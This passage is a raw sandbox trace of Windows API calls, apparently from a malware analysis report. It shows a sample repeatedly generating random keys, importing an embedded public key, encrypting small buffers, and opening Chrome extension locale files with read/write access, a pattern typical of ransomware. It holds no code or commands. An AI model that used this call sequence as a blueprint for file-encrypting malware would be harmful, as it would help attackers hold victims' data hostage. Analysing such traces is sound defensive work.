hTemplateFile=0x0) returned 0xffffffff [0238.888] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.890] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.892] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.892] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.892] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.892] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.894] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.895] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.895] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.895] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.896] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0238.898] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b36b8) returned 1 [0238.898] CryptGetKeyParam (in: hKey=0x66b36b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.898] CryptEncrypt (in: hKey=0x66b36b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d00000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9d00000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.898] GetLastError () returned 0x0 [0238.898] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.898] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0238.900] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3238) returned 1 [0238.900] CryptGetKeyParam (in: hKey=0x66b3238, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.900] CryptEncrypt (in: hKey=0x66b3238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d10000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9d10000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.900] GetLastError () returned 0x0 [0238.900] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.900] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.901] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.903] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.905] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.905] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.905] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.905] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.907] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.908] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.909] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.909] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.909] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0238.911] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3338) returned 1 [0238.911] CryptGetKeyParam (in: hKey=0x66b3338, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.911] CryptEncrypt (in: hKey=0x66b3338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d20000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9d20000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.911] GetLastError () returned 0x0 [0238.911] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.911] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0238.914] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b35b8) returned 1 [0238.914] CryptGetKeyParam (in: hKey=0x66b35b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.914] CryptEncrypt (in: hKey=0x66b35b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d30000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9d30000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.914] GetLastError () returned 0x0 [0238.914] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.914] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.915] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.918] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.919] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.919] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.919] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.919] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.921] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.923] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.923] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.923] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.923] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0238.925] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3078) returned 1 [0238.925] CryptGetKeyParam (in: hKey=0x66b3078, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.925] CryptEncrypt (in: hKey=0x66b3078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d40000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9d40000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.925] GetLastError () returned 0x0 [0238.925] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.925] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.927] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3278) returned 1 [0238.927] CryptGetKeyParam (in: hKey=0x66b3278, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.927] CryptEncrypt (in: hKey=0x66b3278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d50000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9d50000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.927] GetLastError () returned 0x0 [0238.927] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.927] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.928] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.931] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.933] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.933] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.933] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.933] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.935] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.936] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.936] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.936] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.937] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.939] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3778) returned 1 [0238.939] CryptGetKeyParam (in: hKey=0x66b3778, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.939] CryptEncrypt (in: hKey=0x66b3778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d60000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9d60000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.939] GetLastError () returned 0x0 [0238.939] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.939] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.941] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3678) returned 1 [0238.941] CryptGetKeyParam (in: hKey=0x66b3678, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.941] CryptEncrypt (in: hKey=0x66b3678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d70000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9d70000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.941] GetLastError () returned 0x0 [0238.941] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.941] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.943] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0238.945] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.948] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.948] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.948] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.948] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0238.950] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.952] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.952] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.952] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.952] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0238.954] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b3838) returned 1 [0238.954] CryptGetKeyParam (in: hKey=0x66b3838, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.954] CryptEncrypt (in: hKey=0x66b3838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d80000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9d80000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.954] GetLastError () returned 0x0 [0238.954] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.954] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.956] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b37f8) returned 1 [0238.956] CryptGetKeyParam (in: hKey=0x66b37f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.956] CryptEncrypt (in: hKey=0x66b37f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9d90000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.956] GetLastError () returned 0x0 [0238.956] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.957] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.957] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0238.960] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.962] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.962] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.962] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.962] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.964] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.966] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.966] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.966] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.966] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0238.969] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b36f8) returned 1 [0238.969] CryptGetKeyParam (in: hKey=0x66b36f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.969] CryptEncrypt (in: hKey=0x66b36f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9da0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9da0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.969] GetLastError () returned 0x0 [0238.969] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.969] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.971] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b31b8) returned 1 [0238.972] CryptGetKeyParam (in: hKey=0x66b31b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.972] CryptEncrypt (in: hKey=0x66b31b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9db0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9db0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.972] GetLastError () returned 0x0 [0238.972] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.972] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.973] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.976] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.978] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.978] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.978] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.978] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.981] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.982] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.982] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.982] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.982] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.985] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b32f8) returned 1 [0238.985] CryptGetKeyParam (in: hKey=0x66b32f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.985] CryptEncrypt (in: hKey=0x66b32f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9dc0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9dc0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.985] GetLastError () returned 0x0 [0238.985] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.985] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.987] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b30b8) returned 1 [0238.987] CryptGetKeyParam (in: hKey=0x66b30b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.987] CryptEncrypt (in: hKey=0x66b30b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9dd0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9dd0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.987] GetLastError () returned 0x0 [0238.987] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.987] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.988] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0238.990] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.992] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.992] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.992] CryptReleaseContext 